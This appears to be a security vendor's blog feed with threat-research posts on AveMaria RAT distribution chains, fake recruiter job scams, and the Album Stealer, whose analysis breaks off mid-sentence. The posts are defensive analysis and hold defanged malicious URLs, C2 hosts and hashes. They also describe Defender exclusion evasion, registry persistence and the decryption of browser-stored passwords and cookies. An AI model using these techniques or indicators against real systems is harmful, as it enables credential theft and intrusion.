Blog Category Feed Zscaler Blog — News and views from the leading voice in cloud security. ja Dynamic Approaches seen in AveMaria's Distribution Strategy Zscaler’s ThreatLabz research team diligently monitors and tracks active threat campaigns globally to rapidly detect new developments and proactively safeguard Zscaler customers. The seven case studies that follow provide an in-depth analysis of the AveMaria infostealer attack chain and how it has been shifting over the past six months. Key Takeaways AveMaria is a Remote Access Trojan (RAT) infostealer malware that targets sensitive data with added capabilities of remote camera control and privilege escalation. This stealer has been growing in popularity among threat actors since appearing in December of 2018. Over the past six months, researchers have observed significant changes and additions to the execution stages and Tactics, Techniques, and Procedures that characterize an AveMaria attack. AveMaria attacks are initiated via phishing emails, once the dropped payload infects the victim’s machine with the malware, it establishes communication with the attacker’s Command-and-Control (C2) server on non-HTTP protocol, after decrypting its C2 connection using RC4 algorithm. The most recent variation in the AveMaria attack chain technique leverages a custom downloader that decrypts a disguised payload by converting the value data type to another, known as type casting. Analysis of AveMaria 2022 Case Studies This section details different variations of the AveMaria stealer attack chain analyzed across samples discovered between July and December of 2022. The case studies included below specifically focus on how different file formats and techniques are used to execute the AveMaria end payload on the victim’s machine, instead of directly dropping and executing the malware. DECEMBER | .Vhd(x)_campaign In December, ThreatLabz researchers identified the AveMaria .Vhd(x) campaign. This campaign is defined by the discovery of a new execution technique that uses the Virtual Hard Disk file format to drop the malicious downloader payload in one of the two formats onto the victim’s machine. FIRST CASE STUDY .Vhd(x) campaign Targeting Kazakhstan Officials Fig. 1 - AveMaria .vhd(x)_campaign First Case Study attack chain In this scenario, phishing emails impersonating the Russian government targeted Kazakhstan officials with a malicious .vhdx file disguised as a fake meeting notice. Fig. 2 - Screenshot of a phishing email targeting Kazakhstan officials with malicious .vhdx file attachment designed to launch an AveMaria infostealer attack. Upon executing the attached .vhdx file, researchers observed the creation of a new system drive (see Tag 1 in Fig. 3 below) containing a malicious .lnk file, a decoy file, and other system related files (see Tag 2 in Fig. 3 below). Triggering the malicious shortcut file downloads another payload via curl command (see Tag 3 & 4 in Fig. 3 below) and drops the malicious file in the impacted system’s temp directory. Finally, execution of the final payload infects the victim’s machine with the AveMaria malware and enables attackers to gain access and take control. Fig. 3 - Behavioral analysis of the .vhdx file and shortcut file SECOND CASE STUDY Fig. 4 - AveMaria .vhd_campaign Second Case Study attack chain Under the same campaign, researchers observed another variation of the attack chain with a custom downloader and other system related files, as shown in Fig. 5 below. Unfortunately the phishing email for this case study is unavailable, so researchers can not identify the target of these attacks or deduce exactly how the initial payload (.vhd file) was delivered. Fig. 5 - Malicious payload file properties of custom downloader Stage 1: Custom downloader The custom downloader used in this AveMaria attack chain retrieves an encrypted file from a third party file sharing website and after downloading and decrypting in memory, it executes the decrypted version of the retrieved payload, which is in PE format. Because the downloaded payload comes as a data file it can successfully evade detections by AV engines. Fig. 6 - Shows the decryption logic to get the second stage payload in PE format. To build the downloaded file in PE format, the custom downloader makes use of type casting or type-conversion mechanism whereby different data types are used to manipulate the values at bit level. Manipulation of Bits Via Type Casting In C# programming, the byte data type is represented by an 8-bit unsigned integer, i.e. it only takes positive values and will ignore the signed bit associated with the value. In the current decryption scenario, the custom downloader gets the handle and an offset of an array and via “for loop” gets a byte value at particular offset, thereafter convert it to an integer data type and subsequently subtract it with the hardcoded value (which in our case is “585” and can be different in other cases) resulting in negative integer value. Then, the negative integer value gets converted to a byte data type. And the hex value of the byte data type will get substituted at the particular offset of an array. It is worth noting that the integer type holds 32-bits of data compared to a byte which holds only 8-bits of data. Converting any integer data type to a byte data type results in the computer only reading the last 8-bit value. For example, converting a hex value 0xB8 from the encrypted array holding “This program” string to an integer data type results in “184”, and subtracting it with “585”, the final value is “-401”, which is represented in binary as: “1111111111111111111111111111111111111111111111111111111001101111” Going the other way and converting the integer data type to byte data type, the system will read only the last 8-bit value, which in binary is “01101111”. So the hexadecimal value of the mentioned binary value will be “0x6F”, as shown below, and the converted ASCII value of “0x6f” is “o”, which is a part of the “This program” string. Fig. 7 - Calculation of bits manipulation Stage 2: Second stage DLL Dumping the decrypted file from memory, achieved in Stage 1, results in a .Net DLL binary without exports. The DLL binary consists of encrypted bytes under the resource section named “a”, passed as an argument to the decryption function to reveal the final AveMaria payload, as shown below. Fig. 8 - Decryption Code In Second Stage DLL This is the final stage of decryption, after which the AveMaria payload is executed and kicks-off C2 communications validating the successful execution of the malware on the victim’s machine. October | AUloader_campaign THIRD CASE STUDY Fig. 9 - AveMaria AUloader_campaign Third Case Study attack chain The third case study named AUloader was also observed by ThreatLabz researchers in October. It uses the same phishing email technique to distribute the main malicious binary. This campaign leverages a highly obfuscated Autoit script and Autoit interpreter to decrypt the AveMaria binary in memory and then execute the payload. The Autoit script is bundled into a self-executing compressed file or executable package known as the parent payload, which consists of all the required components to facilitate the execution of the main malware. The main components are: Vbscript: performs sandbox and AV emulator checks and provides the Autoit script to the interpreter. Autoit Interpreter: runs the script. Autoit Script: contains highly obfuscated payload decryption and malware execution logic. Note: The bundled payload might include or consist of decoy and junk files, with no relevance to the malware or to the attack execution flow. The related phishing email analyzed during this case study (shown below) invites the recipient to submit a competitive quotation offer for an unidentified tender. Requesting a quote is a common practice businesses use to procure fair goods and services. However in this case, the attached zip file sent with the email invitation is malicious and designed to result in an AveMaria infostealer attack. Fig. 10 - Phishing email imitating to be a Tender Invitation After extracting the payload from the attached zip file the bundled parent payload is revealed. The file artifacts and its execution flow are as follows: Tag1: File is compressed (bundled payload). Tag2: Drops malicious and decoy files on execution. Tag3: Parent file calls wscript.exe with an argument of dropped malicious vbscript file. The vbscript file then calls out the malicious Autoit script with the interpreter. The execution of Autoit script then leads to process injection of malware into a legitimate file. Tag4: Payload loaded in RegSvcs.exe memory. Tag5: Obfuscated Autoit script. Fig. 11 - Behavior flow of the extracted file September | Phishing Campaign Targeting Serbian Citizens and Vbs_campaign Purchase Order Scam In September, researchers discovered two different AveMaria malware delivery phishing campaigns, first an e-identification portal login credential scam that targets Serbian citizens and second a purchase order scam requesting an invoice payment. FOURTH CASE STUDY Phishing Email campaign targeting Serbian Citizens Fig. 12 - AveMaria Fourth Case Study attack chain In this campaign, Serbian citizens were targeted with a phishing email impersonating the government of Serbia and prompting them to update and store new login credentials for access to the government e-identification portal. Fig. 13 - Phishing email impersonating Eligible citizens of Serbia and foreign nationals use an e-identification portal to register for eCitizenship which gives them single-sign on access to all related government portals from a single platform. Fig. 14 - Legitimate Serbian eCitizen registration site The attached zip file (see Fig. 13) contains the malicious AveMaria payload, which when executed creates a copy of itself at the %userprofile%\document location. To further evade detection by Windows defender at runtime, the malware author(s) added the functionality to exclude the whole drive prior to the initialization of the copied file for further infection, via powershell command as shown below. Fig. 15 - Attackers evade detection by Windows defender by adding this drive exclusion powershell command Once the malicious packed binary, named Adobe5151.exe, is executed, it decrypts the end payload, steals user sensitive information and establishes C2 communication for performing exfiltration of the stolen data. FIFTH CASE STUDY vbs_campaign or Purchase Order Scam Fig. 16 - AveMaria vbs_campaign Fifth Case Study attack chain In the same month, researchers discovered another phishing campaign imitating a generic purchase order payment request with a malicious payload disguised as a fake invoice attached to the email. A key differentiator in this particular attack chain is the various stages of obfuscation and execution. Fig. 17 - Phishing email Extracting the vbscript from the attached zip file what looks like a pdf filetype but appears with a script file icon, which serves as an indicator that the file is in fact a script disguised as a pdf. Fig. 18 - Extracted vbscript file appears to have a .pdf filetype extension with a mismatched script file icon Stage 1: VBscript The vbscript (see Star 1 in the screenshot below) which is in an obfuscated format, on execution, calls out powershell.exe with commands consisting of two downloading urls (see Star 2 in the screenshot below). Fig. 19 - Vbscript file artifacts and behavior The interesting fact is that the vbscript provided only two downloading urls (as an input), but as can be seen above (see Star 3 in Fig. 19), three files were downloaded and all of them are obfuscated in some or the other manner. The downloaded files were all base64 encoded, which after decoding turns out to be an injector .Net binary dll (base64 encoded) a supporting dll (base64 encoded filled with replaceable value) AveMaria payload in reversed base64 encoded format Stage 2 : Injector DLL Decoding the dll2.txt file reveals a dotnet DLL binary that acts as a downloader and injector to execute the end payload. Instead of directly downloading and executing the malware onto the system, threat actors use a custom binary to download supporting DLL and restore the same. Subsequently, it downloads the reversed base64 encoded AveMaria payload and puts it back to base64 format. Once all the required files are in place, the same will be used to perform process injection as shown below. Fig. 20 - Code inside custom downloader Stage 3: Actual AveMaria binary The file named jfgfhhjhgjkj.txt is the actual AveMaria payload, downloaded in the reversed base64 encoded format. After restructuring and decoding, the main payload is revealed. The screenshot below shows the file properties and strings present inside the malicious payload. Fig. 21 - File properties showing malicious AveMaria payload artifacts August | Phishing Campaign Targeting Ukraine Officials SIXTH CASE STUDY Fig. 22 - AveMaria Sixth Case Study attack chain In August, researchers observed a new phishing campaign targeting Ukrainian officials impersonating a representative from the Ukrainian Department of Economic Policy and Strategic Planning. The featured phishing emails included an ISO file attachment containing the malicious AveMaria payload along with three decoy documents and four shortcut files. Fig. 23 - Phishing email impersonating a representative of the Ukrainian Department of Economic Policy and Strategic Planning All the shortcut files examined from the attached ISO file in this campaign contain the same powershell command that searches for a hardcoded filename in each drive, as shown below. Fig. 24 - PowerShell Commands in shortcut file The file named gov12.exe is the actual Avemaria executable which on execution creates a copy of itself with the hardcoded filename images.exe at %userprofile%\documents folder location, adds run key in the registry to achieve persistence and then initiates the copy for further infection. Fig. 25 - Persistence JULY | mshta_campaign SEVENTH CASE STUDY Fig. 26 - AveMaria Seventh Case Study attack chain In the seventh case study attack chain, researchers observed that the “System Binary Proxy Execution” detection evasion technique is used for executing the end payload. A malicious HTA file consisting of a vbscript code under <script> tag, is used to download the end payload. The phishing email file associated with this attack chain was unavailable, but we anticipate that the .iso file is being distributed as an attachment only. Stage1: Shortcut files The shortcut files extracted from the attached ISO file consist of a powershell command and some obfuscated code decrypted at runtime by the powershell binary. Executing shortcut files downloads malicious .hta extension file and thereafter executes the latter via mshta.exe. Fig. 27 - Shortcut file artifacts and behavior Stage 2: HTA file generating third stage powershell code The .hta file consists of a vbscript under <script> tag generates an obfuscated third stage powershell code when executed and then the latter is passed as an argument to legitimate powershell binary for further execution. Fig. 28 - Obfuscated third stage powershell script Stage 3: Generated PowerShell code After researchers decoded and beautified the obfuscated script a legible powershell script was revealed containing the following key functions: 1.) Main function: contains the logic to check for file at %appdata% folder (see blue bracket on the right in the screenshot below) if true, then execute the same via “Invoke-item” command. If false, then logic to download and execute the same. 2.) Decoding function: contains the logic to decode encoded data (see red box in the screenshot below) 3.) Downloading function: contains code related to initiating web connection object which downloads the files (see green box in the screenshot below) Fig. 29 - Decrypted and beautified version of powershell script The powershell script shown above downloads and executes the AveMaria stealer malware onto the target system in the last stage of the attack. Note: In this attack, a website was compromised to host malicious payloads. Summary From the case studies detailed in this analysis, it is evident that the developers of the AveMaria infostealer are actively maintaining the malware and updating the phases and stages of execution with new techniques to ensure the stealer remains relevant by evading detection. While examining the various TTPs over a span of six months, ThreatLabz researchers observed a multitude of changes to the AveMaria malware distribution mechanisms typically updated monthly, so that even if one mechanism is flagged by security operators the others can still be applied effectively. Zscaler Coverage Zscaler Sandbox detected and analyzed the full behavior of the different files, showcasing threat scores and number of MITRE ATT&CK techniques triggered, as shown in the below screenshots. Fig. 30 - Windows shortcut file from .vhd(x)_campaign First Case Study Fig. 31 - Downloader file of .vhd(x)_campaign Second Case Study Fig. 32 - HTA file of mshta_campaign Zscaler’s multilayered cloud security platform detects payloads with following threat names: PS.Downloader.AveMaria VBS.Downloader.AveMaria LNK.Downloader.AveMaria Win32.Downloader.AveMaria Win32.PWS.AveMaria Indicators of Compromise (IOCs) 1. Vhd(x)_campaign Case 1: [+] MD5: 18e7c1ff7bbb4816e53315546397543b = eml 56d1e9d11a8752e1c06e542e78e9c3e4 = vhdx 7991987b2a79059558cdc31e89d03874= shortcut file 2300a4eb4bf1216506900e6040820843= Avemaria [+] Network Indicators: 45[.]61[.]137[.]32/www[.]exe = Payload downloading url hbfyewtuvfbhsbdjhjwebfy[.]net = C2 communication Case 2: [+] MD5s: 86c697f7284ecb5c68cd35d26aaf634a = .vhd file c97e0614fcb0a15ac753ac6761278174 = Downloader 45E081D7C43D748E7FFC63986D30244D = Downloaded dll 9cbdf2af5fa3190d4fdc738c609c0ac2 = AveMaria [+] Network Indicators: filetransfer[.]io/data-package/or1h41Fh/download = third party file sharing payload downloading url pliblu-fax.home-webserver[.]de = C2 communication 2. AUloader_campaign [+] MD5s: 1afc02e79c53a3b7d27ee65316f519a9 = eml file Bfb7243c9fb7a8dccc6f3424c7b32735 = Zip file 421e24c8caf1bf35c0ff996b0e6f5e45= bundled payload F50f9458e7ee7bbcc6d0b684cddcd81a = Malicious obsfucated AutoitScript B392DC121A8BF6F50DDBA123F39C661A = Malicious payload [+] Network Indicators: kashbilly[.]duckdns[.]org = C2 communication 3. Phishing Email Targeting Ukraine Officials [+] MD5s: 3a7ba1f6f92af9ed43cbd590eb404496 = eml 44146555cf092feeb28dc749aa351396 = ISO A8097627f02f3421fc013e91150052c5 = Avemaria 2cee905780250147d511d517207ab859 = Shortcut file Ccf13de15cfedf95afc81369f5dd1c80 = Shortcut file C9dbd70385c2c1150277f826b7c31af7 = Shortcut file 2dae2b3e7148fe5040a730899a400cc5 = Shortcut file [+] Network Indicators: odessa-gov[.]ddns[.]net = C2 communication 4. Phishing campaign targeting Citizens of Serbia [+] MD5s: Ac8a30747ad3ea3cd4bc9997daeeb2a5= zip 69d86282fe302bc53974c260a33db01d = Avemaria [+] Network Indicators: 171[.]22[.]30[.]72:5151 = C2 communication 5. Vbs_campaign [+] MD5s: Af1dd5b0cd80d2456fed9576fa9cbd58 = eml Ef8b4d10a6afc84031cc25e3eb045ae3 = Zip file 09615ab1e7d3da53aba689272afb1f4d= vbs file 2f264464da58b60a91af5bce586b6407 = base64 Injector DLL C2f8bd0d0b06f7e2a7de6807e21e7201 = base64 Supporting DLL D39b8088f01baa5c3477a0ec823dfe1d = Reversed Base64-encoded AveMaria payload. [+] Md5s after decoding and restructuring of base64 encoded file: ba27a4e171e2af34388c342ef45069cc= Injector DLL 158855fa22529808ac412225c36ce5e9= Supporting DLL e85c51ea9fa1a32da2de02c11dba3f73= Ave_Maria_payload [+] Network Indicators: 80[.]76[.]51[.]222/jfgfhhjhgjkj[.]txt = Avemaria payload downloading url 20[.]7[.]14[.]99/server/dll2.]txt = Injector DLL downloading url 20[.]7[.]14[.]99/server/RUMPE2[.]txt = Supporting DLL downloading url 80[.]76[.]51[.]88:1956 = C2 communication 6. Mshta_campaign [+] MD5s: 6114a230ccdb77219c67c47e054f881a [hta] 62655c77982dbea9bfd30d0004862228 = ISO 2828f49cde16e65a1bee0c5c44aed8cc = .lnk 3bc9680077b50ad074e607b3ba700edc = AveMaria payload [+] Network Indicators: sgtmarkets[.]com/mt4.exe Payload downloading url sgtmarkets[.]com/h.hta = Payload downloading url mt4blog[.]com = C2 communication Sat, 04 2月 2023 00:28:02 -0800 Stuti Chaturvedi Job scams impersonate companies still hiring following tech layoffs Summary In the midst of significant layoffs hitting the previously immune tech industry, scammers have mobilized and doubled down on targeting job seekers with various employment scams. Stealing personal information and extorting victims for money, these scams leverage fake job postings, sites or portals, and forms, wrapped in social engineering to attract job seekers. The Zscaler Threatlabz team observed multiple suspicious job portals and surveys used by attackers to solicit information from job seekers under the guise of employment application forms. The attackers may advertise jobs online, sometimes setting up fake websites, or look for targets on social media to steal money and personal information. Key Observations Threat actors masquerade as recruiters from specific companies, primarily located in the US and Canada. Malicious new domains are registered on hosting providers like Namecheap. Attackers scrape and reuse the contents of real job postings from public sites like SmartRecruiters and LinkedIn to convince applicants the post is legitimate. Fake application forms steal sensitive personal information from victims and may be sold, used for fraud, and to further target and extort victims. Newly Registered Domains (NRD) are commonly used by threat actors and these have suspicious Top-Level Domains (TLDs) such as .online, .work, .live, etc. typically followed by the name of the actual hiring organization the attackers are impersonating. Threat Campaign Analysis Our researchers discovered an active scam where the threat actor(s) positioned themselves as Zscaler recruiters targeting job seekers on LinkedIn. Fig 1 - Shows a LinkedIn message phishing for victims with a fake Zscaler job link and reference code This fake listing was created by a scammer from an active Zscaler job posting listed on SmartRecuiters, however the attackers made one change, lowering the years of experience requirement to attract more potential victims. For an unsuspecting candidate, this common outreach tactic may feel familiar and the copied job posting appears like a legitimate position. Fig 2 - Fake job post copied from an actual Zscaler listing on SmartRecruiters To apply for the fake job shown above, applicants are prompted to fill out a questionnaire that requests personal information, job role related information, and compensation information. Fig 3 - Landing page of the application questionnaire. As a final step of the questionnaire, the victim is prompted to verify identification by uploading a copy of their State ID, Drivers License, Residential Permit, or Passport. Collecting this document along with the victim's other personal information may enable the scammers to impersonate the victim committing identity theft and fraud, or sell the information to other scammers. Fig 4 - Final step of fake job questionnaire asking the victim for a copy of an official document containing Personally Identifiable Information (PII) After submitting the completed questionnaire, a confirmation message is displayed indicating the victim will be contacted via text message or email in 1-3 days for next steps in the application process. Fig 5 - Submission confirmation message displayed after completion of the fake job offer questionnaire Once the submission has been received by the scammers, they reach out using email to schedule a fake interview using Skype or a chat application, as shown in the screenshot below. Fig 6 - Malicious email impersonating a Zscaler recruiter scheduling aSkype interview with the victim Note that the Skype invitation provided in the email shows a profile photo of an actual Zscaler recruiter. Fig 7 - Malicious Skype invitation using a real profile picture to impersonate an actual Zscaler recruiter Following the fake interview, candidates may receive a fake job offer and be routed through a fake onboarding process. As a final step, victims may be asked to pay for shipping the IT hardware equipment they will need for the remote position or payments for onboarding training. Scammers may also ask for Social Security numbers and bank account information for depositing paychecks. Infrastructure Analysis The malicious site observed in this threat campaign contained currently inactive code to validate credit card details, a feature that may be used once a victim falls for the initial attack. Fig 8 - Source code showing commented-out credit card validation element The malicious domain used in this scam - zscaler-finance-analyst-strategy[.]live, was created on 23-Jan-2022, a Newly Registered Domain at the time of technical analysis by Threatlabz researchers on 24-Jan-2022, following an observed attack one day after the domain was created. Fig 9 - Registration details showing the site used in this scam was a Newly Registered Domain at the time of analysis A script found in the site’s code contained an email address impersonating a Netflix recruiter with domain jobnetflix[.]com. Conducting a pivot search on this email address, researchers discovered the following two additional fake job postings leveraged by the same unauthorized email account: UX designer (REMOTE) ZUORA SOFTWARE Project Administrator Construction, New Equipment KONE OYJ A complete list of domains previously linked to the same threat actor(s) are listed in the IOCs section at the end of this article. While investigating this campaign, ThreatLabz researchers also observed several other suspicious newly-registered sites portraying job portals or advertising fake job openings. Fig 10 - Fake Total Energies recruitment scam page Fig 11 - Malicious job portal with fake or stolen job listings Best practices to safeguard against these attacks: Ask for a direct link to the company’s job posting and reach out to the company directly using contact information you gather from the company website to verify the credibility of a job posting. Search for job postings across legitimate job sites. Only submit online applications to authentic verified sites. Do not engage in communication with any un-official email address or respond to a text or phone number without verifying legitimate company affiliation for the recruiter and confirming via email communication that they have a corporate email address.If you’re not familiar with the company, search its name with the word “scam” or “fraud.” You may find stories from others who have been targeted. Look for telltale signs of a possible scam like emails from personal email addresses or email addresses not affiliated with the company, grammar and spelling mistakes, interviews conducted solely via email or online chat, salaries out of line with industry norms, and requests for financial information or other personal information. Never make any type of payment for an application or job offer. Genuine organizations will never ask you for any type of payment to apply or accept a job offer. Likewise, legitimate recruitment agencies and placement firms are almost always compensated for sourced candidates by the companies they serve. Any request for payment should automatically raise a red flag that you are likely dealing with a scammer. Only use HTTPS/secure connections when visiting job postings. Ensure your operating system and web browser always have the latest security patches installed. Indicators of Compromise (IOCs) Domains used to masquerade as Zscaler zscaler-finance-analyst-strategy[.]live zscalercareers[.]co Previous domains used by the same threat actor(s) zuora-ux-designer-a83637.ingress-erytho.easywp[.]com submit-application[.]us global-application[.]us careers-firstenergycorp[.]online career-conagragroup[.]live canadiantire[.]work interview-petsmart[.]online hire-weston[.]com career-petsmart[.]com intellectsoftcareer[.]com Thu, 26 1月 2023 16:56:34 -0800 Jithin Nair Album Stealer Targets Facebook Adult-Only Content Seekers Information stealing malware is commonly observed in the landscape of cyber attacks today. Zscaler ThreatLabz team has discovered many new types of stealer malware families across different attack campaigns. Recently, the Zscaler ThreatLabz research team has spotted a new information stealer named Album. This blog will walk through the malware distribution campaigns and technical details of Album Stealer. Key points: Album Stealer is disguised as a photo album that drops decoy adult images while performing malicious activity in the background. The malware uses a side loading technique that uses legitimate applications to execute malicious DLLs to avoid detection in multiple stages. Album steals cookies and stored credentials from different web browsers on a victim’s machine Information is also stolen from Facebook Ads Manager, Facebook Business accounts and Facebook API graph pages. Album employs obfuscation using the ConcurrentDictionary class to mask important strings and data. Album sends information that is collected from an infected system to a command and control server. The threat group launching these attacks may be located in Vietnam. Infection chain: Album Stealer attacks start from fake Facebook profile pages that contain adult pictures of women. Threat actors create these profiles to lure a victim into clicking on a link to download an album containing the images. The attack starts when the victim clicks on that link, which either redirects to a zip archive file that is frequently hosted on Microsoft OneDrive or another malicious site that hosts a malicious zip file. The graph shown in Figure 1 contains a full attack chain. Fig 1: Attack chain of Album Stealer Figure 2 shows the initial malicious zip file download in Zscaler’s cloud. Fig 2: Album Stealer downloader identified in Zscaler’s cloud Technical Analysis An example Facebook URL used in this campaign is l.facebook[.com/l.php?u=https://rebrandtop[.]top/clgtf?fbclid={ID}&h={Value}&__tn__=*I&c[0]={Value}. The link redirects to a shared OneDrive folder that contains a malicious zip file as shown in Figure 3, or another site that hosts a malicious zip file such as hxxps://cdn[.ubutun[.]xyz/Main/ The filename of the zip varies between campaigns with names like,, or Fig 3: Onedrive link to download a malicious zip file The zip archive contains three files similar to the following: Album.exe PdfiumControl.dll data.dat Album.exe Album.exe is a legitimate TresoritPdfViewer executable file signed by “Tresorit kft”. This file is vulnerable to a DLL side loading attack. When Album.exe is run, the program will load a dependency named “PdfiumControl.dll”, which in this case is a malicious DLL. The code in the malicious PdfiumControl.dll will subsequently execute the data.dat file, which is a self-extracting archive (SFX) file. The SFX archive, when extracted, contains images of women that are used as a decoy. In the background, the malicious DLL starts its activities by searching for the "\%AppData%\Roaming\Canon" directory. If the directory does not exist, it will be created. Next, the malicious PdfiumControl.dll decrypts and drops several files. The file content is stored as an encrypted format in a dictionary. The ConcurrentDictionary class is used to fetch content using key/value pairs. The data is Base64 decoded and decompressed using GZip. The final payload is decrypted using the AES algorithm. The AES key is generated using the Rfc2898DeriveBytes class based on a hardcoded password and salt, with 1000 iterations. The AES key is 256 bits and the initialization vector is 128 bits. Figure 4 shows the decryption algorithm below. Fig 4: Album Stealer Decryption routine code The decryption process drops the following files: \%AppData%\Roaming\Canon\CNQ.exe \%AppData%\Roaming\Canon\Curl.dll \%AppData%\Roaming\Canon\Lenovo.TVT.CustomerFeedback.Manager.dll \%AppData%\Roaming\Canon\log4net.dll The file CNQ.exe is then executed. CNQ.exe CNQ.exe is another legitimate product from “D-iOSiCloud”. The executable is signed by “Shenzhen iMyFone Technology Co., Ltd”. This binary is also vulnerable to DLL side loading and used to load a malicious file named Curl.dll. Persistence Mechanism Curl.dll creates the Autostart Registry key to execute “CNQ.exe” at every restart. Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Speaker2020 Value: C:\Users\{UserName}\AppData\Roaming\Canon\CNQ.exe Further, Curl.dll creates the directory %AppData%\Roaming\Bluestack. The DLL also downloads the file http://cdn.ubutun[.xyz/Canon/sparkle-windows.xml and saves the result to:\%AppData%\Roaming\Canon\sparkle-windows.xml. The file sparkle-windows.xml contains the following: <enclosure url="http://cdn.ubutun[.xyz/Canon/ sparkle:version="1.0.6" length="0" type="application/zip"/> The Curl.dll downloads a payload from the URL in this file (e.g., cdn.ubutun[.xyz/Canon/app{18 digit numeric}}.zip) and saves the result to \%AppData%\Roaming\Canon\app{{18 digit numeric}}.zip. Next the Curl.dll extracts the contents of the zip file into the directory %AppData%\Roaming/Bluestack/. After extraction, this folder contains the files below: DiskCompactionTool.exe Lenovo.TVT.CustomerFeedback.Manager.dll WDLocale.dll WDSyncConfiguration.dll WDSyncSettings.dll DiskCompactionTool.exe.config DiskCompactionTool.exe Next, the DiskCompactionTool.exe file is executed, which is a legitimate tool named “WD Sync” signed by “WESTERN DIGITAL TECHNOLOGIES”. The DiskCompactionTool.exe is also vulnerable to a DLL side loading attack, which is exploited to load a malicious file named “WDLocale.dll” . The malicious WDLocale.dll file creates 2 run registry keys for persistence to execute at every reboot as shown below: Registry key:SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name:BlueStacks_bgp64 Value:C:\Users\{UserName}\AppData\Roaming\Bluestack\DiskCompactionTool.exe Registry key:SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run Name:Speaker2020 Value:C:\Users\{UserName}\AppData\\Roaming\Bluestack\DiskCompactionTool.exe The malicious WDLocale.dll file checks for the presence of the file: C:\Users\{UserName}\Desktop\Roaming\Bluestack\versionid.txt If the file does not exist, it will be created. This file is used to store system information and a unique system ID. The DLL will then perform a beacon the command and control server to obtain further commands, which are saved in the file "%AppData%\Roaming\Bluestack\commonupdate". ThreatLabz observed the server send the following commands as shown in Figure 5: “120000|https://cdn[.]||Bravia.exe|Bravia|true|true|true|true|4127|” Fig 5: Album Stealer requesting commands from the C&C server The response from the C&C server contains a task ID that is used to track the status of a command. Figure 6 shows the result of executing the task with the C&C server acknowledging the status and the msg parameter containing “Status update successful” in the Vietnamese language. Fig 6: Album Stealer update status beacon The task shown in Figure 5, instructs the WDLocale.dll to connect to “cdn[” that serves this URL “http://cdn[.ponamei[.top/App/app{18 digit numeric}.zip” and further , it downloads zip file and saved in the “%AppData%” directory "%AppData%\Roaming\Bluestack\app{18 digit numeric}.zip".After downloading the file, the content is a zip file that is extracted to "%AppData%\\Roaming\Bravia" folder containing the following files: Bravia.exe BouncyCastle.Crypto.dll EntityFramework.dll EntityFramework.SqlServer.dll EntityFramework.SqlServer.xml EntityFramework.xml Newtonsoft.Json.dll Newtonsoft.Json.xml System.Data.SQLite.dll System.Data.SQLite.EF6.dll System.Data.SQLite.Linq.dll System.Data.SQLite.xml CNQMUTIL.dll Bravia.exe The file Bravia.exe is legitimate and signed by “Canon Inc.”, which once again is vulnerable to a DLL side loading attack. When Bravia.exe is executed, it will load a malicious file named “CNQMUTIL.dll”. When loaded, this malicious DLL will search for the directory “%AppData%\Roaming\Bravia\Temps” and if it exists, will delete any files inside this directory. If the directory is not present then, the malicious CNQMUTIL.dll creates a Temps folder at “%AppData%\Roaming\Bravia\Temps”. The strings used in the DLL payload at different stages are stored in a ConcurrentDictionary class as key/value pairs. Here the different strings are not used statically and fetched only at runtime using a key from the ConcurrentDictionary. Next the code checks if the file “%AppData%\Roaming\Bluestack\versionid.txt” exists and obtains the system ID from the file. Otherwise, the malware creates the file with the system ID. Version ID The version ID contains system information that is generated from the ManagementClass, which retrieves data from WMI using a specific class path. The code below in Figure 7 contains the recipe to create the version ID string, with various system information concatenated together. Fig 7: Album Stealer version ID generation using system information code The function smethod_5 retrieves CPU information as shown in Figure 8. Fig 8: Album Stealer obtaining processor related information using Win32_Processor WMI class The smethod_3 contains the ManagementClass class that retrieves data from WMI using a specific class path including the UniqueId, ProcessorId, Name and Manufacturer. Figure 9 shows the code for smethod_3. Fig 9: Album Stealer smethod_3 code to retrieve system data using the Management class Next, the code calls the function smethod_6 to get information regarding the BIOS and fetches the information below using the Win32_BIOS WMI class: Manufacturer SMBIOSBIOSVersion IdentificationCode SerialNumber ReleaseDate Version Fig 10:Get BIOS related information using Win32_BIOS WMI class Next, the code calls the function smethod_8 and fetches the following information using the Win32_BaseBoard WMI class. Model Manufacturer Name SerialNumber Next, the code calls the function smethod_9 to obtain the following information about the VideoController using the Win32_VideoController WMI class. DriverVersion Name Next, the code calls the function smethod_10 to obtain the system’s MAC address using the Win32_NetworkAdapterConfiguration WMI class if IPenabled is true. The system information shown above is then hashed using MD5. The resulting MD5 hash is broken up into four byte segments separated by dashes, for example, “1ED9-A838-B7E5-A6AC-A107-{4 digit numeric}-{4 digit numeric}-{4 digit numeric}". This system identifier value is then stored in the versionid.txt file and sent to the command and control server. Data Stealing Most information stealers have a hardcoded list of known locations for applications that store sensitive data related to credentials, cookies and other user data. Then they fetch those files and extract the relevant information. In contrast, Album Stealer searches for file names instead of static paths, to steal data from any browser with specific file names without providing a static path. Album Stealer enumerates through all folders and searches for the files starting in the %AppData% folder Local State Login Data Cookies cookies.sqlite Further, Album searches and creates a list of files found in %AppData% and copies those files into “%AppData%\Roaming\Bravia\Temps\”. Based on the browser, Album copies different files in the Temps folder as shown in Figure 11. Fig 11: Example web browser login and cookie data targeted by Album Stealer Chromium-Based Browsers Album Stealer targets Chromium-based browsers including the following: Google Chrome Opera Microsoft Edge Brave Credentials Stealing Album Stealer targets the Local State, Login Data and Cookies files. The Local State file contains keys that are required to decrypt the web browser data. First Album Stealer reads the Local State file and loads the JSON file to recover the os_crypt and encrypted_key parameters as shown in Figure 12. Fig 12: Album Stealer retrieving the encrypted key from the Local Data file Then Album extract the Base64 encoded key from the JSON and decrypts the key via the ProtectedData.Unprotect function in C# as shown in Figure 13. Fig 13: Album Stealer’s web browser data decryption using the ProtectedData.Unprotect function The Login Data file contains saved usernames and passwords for browsers in SQLite format. Passwords are stored in encrypted form. Album Stealer opens the Login Data database file({Browser}Profile_login_{Datetime})and executes an SQL query and uses SqliteDataReader to extract the “action_url”, “username_value” and “password_value” fields and saved in the variables domain, user and pass respectively as shown in Figure 14. Fig 14:Retrieve stored Credentials from chromium browsers The password_value field is decrypted using the AES key extracted previously by using GcmBlockCipher's DoFinal and ProcessBytes methods as shown in Figure 15. Fig 15: Album Stealer decrypting web browser data Cookie stealing Further, Album Stealer opens the cookies database files({Browser}Profile_cookies_{Datetime})and executes an SQL query and uses SqliteDataReader to extract the following fields: host_key name encrypted_value Expires_utc The encrypted_value field is decrypted using the AES key extracted previously. This information is stored in variables named domain, name, value and Expires as shown in Figure 16. Fig 16: Album Stealer cookies stealing code Firefox Album extracts information from 